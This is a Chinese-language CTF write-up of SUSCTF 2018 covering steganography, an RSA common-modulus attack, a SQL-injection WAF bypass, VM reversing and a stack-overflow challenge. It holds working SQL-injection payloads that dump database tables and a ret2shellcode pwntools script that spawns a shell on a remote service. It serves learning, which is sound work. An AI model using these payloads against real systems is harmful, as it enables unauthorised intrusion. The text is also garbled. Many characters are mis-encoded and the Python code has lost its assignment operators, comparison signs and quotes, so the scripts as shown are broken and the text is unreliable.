復(fù)盤:從圖片隱寫到棧溢出的解題思路)
SUSCTF 2018那場比賽的周末我是從一道Misc題開始的。當(dāng)時剛?cè)隒TF圈不久最大的感受是題目不會按你“擅長”的來但如果你能把每道題的思路記錄下來后面進(jìn)步會很快。這篇做題記錄不是完整題解更像是我個人從讀題、嘗試、卡殼到最終拿到flag的復(fù)盤重點寫了幾道我實際做出來和賽后搞明白的題目希望能給同樣在CTF入門階段的玩家一點參考。1. 賽前準(zhǔn)備與整體思路1.1 先看題量再決定先攻哪個方向比賽開始后我第一件事不是急著點開題目而是把題目列表從頭到尾過了一遍。那次SUSCTF 2018的題目覆蓋比較全Web、Misc、Crypto、Reverse、PWN都有涉及難度從簽到級別到進(jìn)階題都有分布。分?jǐn)?shù)設(shè)置并不完全按難度有些看起來簡單的題分值反而不低所以先掃一遍題目反而能讓時間花在容易得分的地方。我自己的熟練度排序是Misc最好Web次之Crypto靠模板Reverse和PWN基本屬于能看但打不快。于是策略很簡單先按“Misc → Web → Crypto → Reverse → PWN”的順序做遇到卡殼超過二十分鐘的題就標(biāo)記一下先把后面能拿的分拿完再回頭慢慢啃。這個決策看起來很基礎(chǔ)但很多隊伍輸就輸在開賽后頭一個小時和難題死磕最后簡單題都沒時間碰。先保證會做的題目穩(wěn)穩(wěn)拿到分心態(tài)也會穩(wěn)很多。建議新手也養(yǎng)成這個習(xí)慣比賽前先花五分鐘做難易排序不要在隨便一個未知題上賭太多時間。1.2 工具清單和比賽環(huán)境賽前我把Kali虛擬機完整更新了一遍同時準(zhǔn)備了一臺Windows宿主機裝好BurpSuite、IDA、x64dbg這些常用工具。隱寫題會用到binwalk、foremost、zsteg、stegsolve密碼題主要用Python和gmpy2偶爾借助CyberChef做編碼轉(zhuǎn)換Web題就用BurpSuite配合手工構(gòu)造請求。我還習(xí)慣在本地維護一個“CTF_Tools”目錄把平時收集的腳本按方向分類放好。比如decode_base64.py、lsb_extract.py、rsa_template/這樣比賽時能快速復(fù)制過去改參數(shù)而不是臨時翻博客或現(xiàn)寫。這里有個容易忽略的點工具不是越新越好。stegsolve是個Java老工具但處理LSB隱寫依然很順binwalk在某些版本里對PNG的提取反而容易誤報。提前在本地把環(huán)境跑一遍確認(rèn)依賴都有能省下比賽中的大量時間。1.3 題目描述和提示也是信息我后來復(fù)盤發(fā)現(xiàn)自己丟掉的大部分分不是因為不會做而是漏看了題目的描述。那次Misc題描述里有一句“圖片右下角有點奇怪”我當(dāng)時沒當(dāng)回事結(jié)果最后卡在提取數(shù)據(jù)格式上浪費了半小時?;仡^看這句話就是在提示看LSB通道的RGB低位而不是無腦跑strings。所以從那次比賽之后我養(yǎng)成了一個習(xí)慣每開一道題先把題目描述、附件鏈接、hint全部復(fù)制到本地筆記里再看文件。比賽過程中信息很多人的注意力又有限提前把已知條件記錄下來后面復(fù)盤時會省很多事。很多所謂“腦子轉(zhuǎn)不過來”的時刻其實就是因為有一個隱藏條件被忽略了。2. 一道Misc題圖片隱寫的完整解謎2.1 第一步永遠(yuǎn)先看文件本身那道Misc題給了一張分辨率800x600的PNG圖片文件名就叫misc.png。我拿到文件后沒有急著上工具先執(zhí)行了兩條命令file misc.png ls -lh misc.pngfile顯示確實是PNG格式但圖片大小有2.3MB。對于800x600的PNG來說這個體積明顯偏大。正常PNG就算畫面很復(fù)雜這個分辨率也一般在幾百KB到1MB左右??吹襟w積異常我基本可以斷定里面藏著別的東西。接著用strings misc.png | grep -i flag沒找到關(guān)鍵字符串只看到一段類似文件路徑的文本。這個時候不能急先把文件跑一遍binwalk看看有沒有拼接或附加數(shù)據(jù)。2.2 binwalk分離出隱藏壓縮包binwalk misc.png輸出顯示在偏移0x145F00附近有一個Zip壓縮包的簽名PK。我直接執(zhí)行binwalk -e misc.png分離結(jié)果得到一個zip文件。打開后發(fā)現(xiàn)壓縮包需要密碼這算是一個小坎。我一開始嘗試用弱口令字典跑跑了半天沒跑出來。后來仔細(xì)觀察發(fā)現(xiàn)壓縮包里有readme.txt和hint.png兩個文件而readme里的十六進(jìn)制內(nèi)容反復(fù)出現(xiàn)89 50 4E 47這種PNG文件頭。這個組合很可疑因為正常的加密zip不應(yīng)該讓密碼字典跑不出來的同時還這么“友好”。我猜這個zip很可能不是真正加密而是偽加密。2.3 偽加密的處理方法Zip偽加密的原理很簡單文件頭里的加密標(biāo)志位被改成了0x09表示“有密碼”但并沒有真正對文件內(nèi)容做加密處理只需要把標(biāo)志位改回0x00就能直接解壓。我用十六進(jìn)制編輯器打開zip先搜索PK\x03\x04找到本地文件頭在第6個字節(jié)處把0x09改成0x00然后保存嘗試解壓結(jié)果仍然提示需要密碼。后來我才意識到zip的中央目錄里也有同樣的加密標(biāo)志位需要同步修改。在十六進(jìn)制編輯器里繼續(xù)搜索PK\x01\x02找到中央目錄位置同樣把對應(yīng)字節(jié)從0x09改成0x00再保存一次zip就能正常解壓了。解壓后readme.txt里是一段Base64字符串。我直接解碼得到一堆亂碼。仔細(xì)一看這段Base64并不是標(biāo)準(zhǔn)編碼而是字符串被倒序處理后生成的。我用CyberChef的Reverse組件反轉(zhuǎn)再Base64解碼才得到了一行十六進(jìn)制數(shù)據(jù)。這道題給我的第一個教訓(xùn)就是不要相信文件里直接出現(xiàn)的編碼結(jié)果先看看是否被處理過。2.4 LSB隱寫的提取與收尾hint.png打開是一張純灰黑色的小圖肉眼看不出來有什么。我試著用zsteg自動檢測zsteg hint.png工具提示b1,rgb,lsb通道存在ASCII數(shù)據(jù)。把提取出來的數(shù)據(jù)存成txt發(fā)現(xiàn)是幾行坐標(biāo)數(shù)據(jù)形如(x,y,r,g,b)。這類格式多半是像素差值隱寫需要根據(jù)坐標(biāo)逐像素讀回。我寫了個Python腳本遍歷坐標(biāo)取每個像素RGB值的最低位拼成二進(jìn)制再轉(zhuǎn)成ASCII最終得到了SUSCTF{...}的flag。這道題做完后我的體會是Misc題與其說考工具不如說考信息組合能力。文件體積異常、偽加密、Base64反轉(zhuǎn)、LSB提取每一步都在用前面的線索推導(dǎo)下一步?jīng)]有哪一步能靠單一工具直接解決。建議新手遇到隱寫題時先記錄文件大小和文件頭再跑工具會少走很多彎路。3. Crypto題目RSA公共模數(shù)攻擊3.1 條件判斷兩個公鑰的N相同這道Crypto題給了三個文件兩個公鑰pub1.pem和pub2.pem和兩個密文enc1.bin和enc2.bin。我拿到后先沒用腳本而是用openssl看公鑰參數(shù)openssl rsa -pubin -in pub1.pem -text -noout openssl rsa -pubin -in pub2.pem -text -noout結(jié)果顯示兩個公鑰的模數(shù)N完全一樣e分別是65537和65543。看到這個條件我基本確定這是RSA共模攻擊。為什么因為同一個N下加密兩條消息如果兩個e互質(zhì)就可以通過代數(shù)操作把密文組合成明文而不需要分解N。這里我建議所有做Crypto題的新手拿到RSA相關(guān)文件后第一件事永遠(yuǎn)是提取N和e然后橫向?qū)Ρ取相同、e不同優(yōu)先嘗試共模攻擊N很小可以試試分解e很小可能是低加密指數(shù)廣播攻擊。識別題目“陷阱”的能力往往比會寫腳本更重要。3.2 共模攻擊的原理與腳本共模攻擊的數(shù)學(xué)基礎(chǔ)是擴展歐幾里得算法。如果e1和e2互質(zhì)那么存在整數(shù)x、y滿足e1 * x e2 * y 1于是可以構(gòu)造m c1^x * c2^y mod N因為RSA加密是c m^e mod N代入后正好能得到明文。這里真正難的地方在于x和y很可能有一個是負(fù)數(shù)。當(dāng)指數(shù)為負(fù)時對應(yīng)的密文需要先取模逆元再把指數(shù)變成正數(shù)繼續(xù)運算。我用的Python腳本大概是這樣from gmpy2 import gcdext, powmod, invert from Crypto.PublicKey import RSA def bytes_to_int(data): return int.from_bytes(data, big) key1 RSA.import_key(open(pub1.pem, rb).read()) key2 RSA.import_key(open(pub2.pem, rb).read()) n key1.n e1 key1.e e2 key2.e c1 bytes_to_int(open(enc1.bin, rb).read()) c2 bytes_to_int(open(enc2.bin, rb).read()) g, x, y gcdext(e1, e2) if x 0: c1 invert(c1, n) x -x if y 0: c2 invert(c2, n) y -y m powmod(c1, x, n) * powmod(c2, y, n) % n flag int(m).to_bytes((m.bit_length() 7) // 8, big) print(flag.decode())運行后直接打印出了SUSCTF{...}。這里的關(guān)鍵點是gcdext返回的系數(shù)不一定都是正的必須把負(fù)系數(shù)對應(yīng)的密文先求逆元。這個坑很多人踩過直接把負(fù)數(shù)傳給pow結(jié)果要么報錯要么得到錯誤結(jié)果。3.3 分支情況e不互質(zhì)怎么辦如果兩個e的gcd不是1而是d那么共模攻擊就不能直接用因為擴展歐幾里得解出來的等式是e1*x e2*y d最后得到的是m^d而不是m。這時候需要看d是否比較小如果d很小可以嘗試開根號。但一般情況下比賽出題人會保證e互質(zhì)否則這道題會很難收尾。我賽后整理模板的時候把判斷邏輯也寫進(jìn)去了先算gcd(e1, e2)等于1就走共模攻擊不等于1先考慮是不是低加密指數(shù)廣播攻擊或者把d因子記錄出來再做嘗試。這些模板腳本存在本地后面遇到類似題目基本一分鐘內(nèi)能出結(jié)果。做過一次的事情下次就不應(yīng)該再花同樣的時間。4. Web題SQL注入的繞WAF思路4.1 報錯信息確認(rèn)注入點Web題給了一個查詢接口參數(shù)是?id。我先輸入1頁面正常返回數(shù)據(jù)輸入1頁面報SQL語法錯誤而且錯誤信息直接回顯在頁面上??吹竭@個現(xiàn)象我判斷這里很可能存在SQL注入至少有報錯注入或聯(lián)合查詢的可能。但直接做聯(lián)合查詢的時候遇到了問題。我用order by 1到order by 3分別試了一遍order by 3正常返回order by 4報錯說明查詢列數(shù)是3。隨后嘗試union select 1,2,3頁面直接返回500沒有任何錯誤信息提示說明有WAF攔截了關(guān)鍵字。當(dāng)時我意識到這是一道結(jié)合“注入繞WAF”的題目。報錯回顯是開著的但WAF會攔截部分關(guān)鍵字。這種情況下解題的核心不是注入本身而是搞清楚WAF到底過濾了什么再想對應(yīng)繞過方法。4.2 逐層替換繞過WAF這類WAF常見的過濾點大概有空格、關(guān)鍵字、注釋符、等號、逗號等。我先嘗試用內(nèi)聯(lián)注釋/**/代替空格發(fā)現(xiàn)頁面不再直接500說明空格被過濾了而注釋符號沒被過濾。之后又嘗試union關(guān)鍵字發(fā)現(xiàn)仍然被攔說明union在黑名單里。我試了幾種常見變形大小寫混合Union、UnIoN內(nèi)聯(lián)注釋un/**/ion雙寫uniunionon最終成功的是“雙寫內(nèi)聯(lián)注釋”的組合。因為很多WAF會簡單地把敏感詞替換成空字符串如果檢測到union就刪除那我寫成uniunionon刪除中間的部分后就變成了union。配合空格繞過實際payload大概是?id1/**/un/**/ion/**/sel/**/ect/**/1,2,3--頁面正常返回了3列字段第2列有回顯點。到這一步注入已經(jīng)打通。4.3 從注入點到讀取flag有回顯點之后先查當(dāng)前數(shù)據(jù)庫名?id1/**/un/**/ion/**/sel/**/ect/**/1,database(),3--得到susctf_web。接著爆表名?id1/**/un/**/ion/**/sel/**/ect/**/1,group_concat(table_name),3 from/**/information_schema.tables/**/where/**/table_schemadatabase()--查到用戶表users字段是id,username,password。我讀取password時發(fā)現(xiàn)是一段md5哈希拿去在線平臺反查得到的是flag_is_here而不是真正的flag。這個時候才想到題目環(huán)境里肯定還有一張表放真正的flag。繼續(xù)查information_schema.tables果然在flag表里找到了flag_value字段最終讀到了SUSCTF{...}。Web題的特點就是有信息差你不知道WAF具體過濾規(guī)則只能通過嘗試去推。我后來復(fù)盤時發(fā)現(xiàn)如果一開始就把報錯回顯關(guān)閉這道題的難度會高很多因為根本沒法判斷哪一步生效。建議用BurpSuite的Repeater配合一個簡單的字典去測過濾規(guī)則比手工盲猜效率高很多。4.4 記錄繞過字典形成自己的checklist賽后我把這次用到的繞過技巧整理進(jìn)了自己的筆記場景嘗試方案空格被過濾內(nèi)聯(lián)注釋/**/、換行符%0a、tabunion被過濾雙寫uniunionon、內(nèi)聯(lián)注釋un/**/ion等號被過濾用like代替、用in代替注釋符被過濾使用--%0a、#、/*!*/這個checklist后來在好幾場比賽中都用上了。因為WAF過濾規(guī)則雖然多變但底層思路無非那么幾種把這些技巧變成肌肉記憶做題速度會明顯提升。5. Reverse題目簡單的VM逆向5.1 先看程序行為再決定怎么逆向那道Reverse題是一個叫babyvm的ELF文件用file查看顯示為64位動態(tài)鏈接程序。我直接運行程序要求輸入一串字符然后輸出“Wrong”。沒有報錯信息也沒有明顯的明文提示。用strings babyvm | grep -i flag也找不到有用的內(nèi)容。用IDA打開main函數(shù)后結(jié)構(gòu)很簡單讀取用戶輸入調(diào)用vm_run函數(shù)最后比較結(jié)果。關(guān)鍵邏輯全在vm_run里。這個函數(shù)里面有一個巨大的switch結(jié)構(gòu)每個case對應(yīng)一種操作碼本質(zhì)上就是一個虛擬機解釋器??吹竭@種結(jié)構(gòu)我就明白這題不是傳統(tǒng)的邏輯逆向而是需要先恢復(fù)“指令集”再用腳本去模擬執(zhí)行。5.2 恢復(fù)指令集把vm_run里的每個case逐一整理后我大致還原了它的指令格式。每條指令由兩個字節(jié)組成第一個字節(jié)是操作碼第二個字節(jié)是寄存器編號或立即數(shù)。常見的操作有操作碼含義0x01把立即數(shù)加載到寄存器0x02把寄存器A和寄存器B按位異或結(jié)果存回A0x03比較寄存器A是否等于某個值相等則跳轉(zhuǎn)0x04輸出寄存器A對應(yīng)的字符整理出指令集后程序初始化的opcode數(shù)組就可以按指令長度拆開讀了。這里最麻煩的不是理解每個case而是確認(rèn)數(shù)組的讀取順序。因為我一開始以為opcode數(shù)組就是簡單從頭往后執(zhí)行結(jié)果跑出來的全是亂碼。后來通過動態(tài)調(diào)試發(fā)現(xiàn)程序在初始化階段會對數(shù)組做一次反轉(zhuǎn)不做這一步永遠(yuǎn)解不對。5.3 用Python模擬器跑flag確認(rèn)執(zhí)行順序后我直接把opcode數(shù)組和數(shù)據(jù)數(shù)組提取出來用Python模擬一遍。核心邏輯大致是把用戶輸入的每一位與一組固定字節(jié)做異或然后要求結(jié)果等于另一組預(yù)置字節(jié)。腳本很簡單op_byte [0x12, 0x23, 0x45, ...] check_byte [0x7a, 0x5d, ...] flag .join(chr(x ^ y) for x, y in zip(op_byte, check_byte)) print(flag)結(jié)果直接輸出了以SUSCTF{開頭的flag。這里有個重要經(jīng)驗VM類題目最忌諱直接硬讀匯編。先把指令集“翻譯”成自己能讀懂的偽代碼再寫腳本模擬執(zhí)行效率會高很多。尤其是指令集不復(fù)雜的時候手工整理的操作碼表格反而比調(diào)試器更直觀。5.4 動態(tài)調(diào)試驗證解碼我在做題過程中也會用動態(tài)調(diào)試做驗證。在IDA里對關(guān)鍵case下斷點然后單步執(zhí)行觀察寄存器值的變化。比如0x02異或操作執(zhí)行完寄存器里的結(jié)果是不是符合預(yù)期就能判斷我對指令含義的理解是否正確。用動態(tài)調(diào)試配合靜態(tài)分析的好處是能在早期發(fā)現(xiàn)理解偏差。有一段時間我一直以為0x03是“跳轉(zhuǎn)”但實際操作發(fā)現(xiàn)它是“比較并跳轉(zhuǎn)”而且比較條件必須是相等才跳轉(zhuǎn)。如果不靠動態(tài)調(diào)試驗證這個區(qū)別會直接導(dǎo)致模擬器跑不出正確結(jié)果。Reverse題目里工具的熟練度確實能救人一命但更重要的是有驗證意識。6. 一道簽到PWN題棧溢出的最小利用6.1 先檢查保護再看漏洞點作為一個不太玩PWN的人我本來打算放棄這個方向但點進(jìn)題目后發(fā)現(xiàn)是一個簡單的棧溢出簽到題。程序邏輯很簡單把輸入讀進(jìn)一個64字節(jié)的緩沖區(qū)然后直接調(diào)用printf輸出典型的gets溢出漏洞點。我先用checksec查了一下保護checksec baby結(jié)果非常友好沒有canary沒有PIENX也是關(guān)閉的。這意味著棧上可以執(zhí)行代碼最簡單的攻擊方式是ret2shellcode。我當(dāng)時用cyclic生成測試字符串輸入程序崩潰時報出的偏移是40剛好覆蓋返回地址。這題給我最大的啟發(fā)是PWN題不要因為方向不熟就直接跳過。先看保護再看邏輯如果遇到保護全關(guān)的簽到題嘗試打一下并不難。6.2 構(gòu)造ret2shellcode既然NX關(guān)閉我直接把shellcode放在輸入緩沖區(qū)開頭然后讓返回地址跳轉(zhuǎn)到緩沖區(qū)地址。因為沒開PIE地址基本固定我用gdb打印了緩沖區(qū)的起始地址然后寫了個pwn腳本from pwn import * context.arch amd64 sh remote(目標(biāo)ip, 端口) shellcode asm(shellcraft.sh()) payload shellcode.ljust(40, b\x90) p64(0x7fffffffe000) sh.sendline(payload) sh.interactive()這里的地址需要根據(jù)本地的實際調(diào)試結(jié)果來填不能直接照抄。本地打成功后再用同樣的payload打遠(yuǎn)程就拿到了shell。6.3 遠(yuǎn)程調(diào)試時容易踩的坑打遠(yuǎn)程的時候我踩了一個小坑本地明明成功但遠(yuǎn)程一直不彈shell。后來發(fā)現(xiàn)是棧偏移問題。本地gdb調(diào)試時棧地址和真實運行地址可能差那么幾個字節(jié)如果不做地址泄漏就只能用jmp rsp之類的穩(wěn)定跳板來繞過。運氣好的是這道題的棧地址相對固定調(diào)整一次偏移后就成功了。另一個坑是發(fā)送payload時用了send而不是sendline結(jié)果程序沒讀取完整數(shù)據(jù)就執(zhí)行導(dǎo)致整個payload被截斷。后來統(tǒng)一改成sendline問題就解決了。PWN題對細(xì)節(jié)的要求很高一個字節(jié)的偏差都可能影響結(jié)果。7. 賽后總結(jié)與實操心得7.1 時間分配保證得分率比面子重要那次比賽里我最大的失誤是在一道Reverse題上花了一個半小時最后還沒解出來。賽后回看如果把這一個半小時用來把Web題的繞過模板和Crypto題的其他攻擊方式整理好可能能多拿一題的分。CTF是積分制拿到手的分才是分。比賽前半小時先做全局試水把每道題按“能穩(wěn)定做出來”和“需要賭運氣”分類再把時間傾斜到前者。7.2 工具自動化的收益做題記錄寫到最后我想強調(diào)“把步驟寫成腳本”這件事。解題過程中我反復(fù)用到文件分離、Base64循環(huán)解碼、字節(jié)序轉(zhuǎn)換這些操作手工做很浪費時間。比賽結(jié)束后我把它們沉淀成腳本下一次再遇到類似題目直接在命令行跑一遍就能看到結(jié)果。比如我寫了一個autodecode.py傳入一段疑似Base64加倒序的字符串腳本會自動處理反轉(zhuǎn)、解碼、hex轉(zhuǎn)ascii后面幾場比賽都用上了。7.3 復(fù)盤比刷題更重要我個人的習(xí)慣是賽后把每道題從思路到最終payload完整寫成記錄尤其是卡了很久但最終搞明白的題。寫記錄的過程會逼你重新梳理解題路徑很多當(dāng)時靠運氣試出來的結(jié)果寫到一半才會發(fā)現(xiàn)背后的邏輯。這也是我做這份做題記錄的動機。最后分享一個實用的小技巧不管是Misc還是Web遇到看似無解的情況先把能觀察到的所有數(shù)據(jù)記錄下來然后問自己“這些數(shù)據(jù)之間有沒有共同點”。我解那道隱寫題時就是靠把文件頭、Base64、坐標(biāo)數(shù)據(jù)三個線索連在一起才解出來的。多記錄多總結(jié)后面的比賽會越打越順。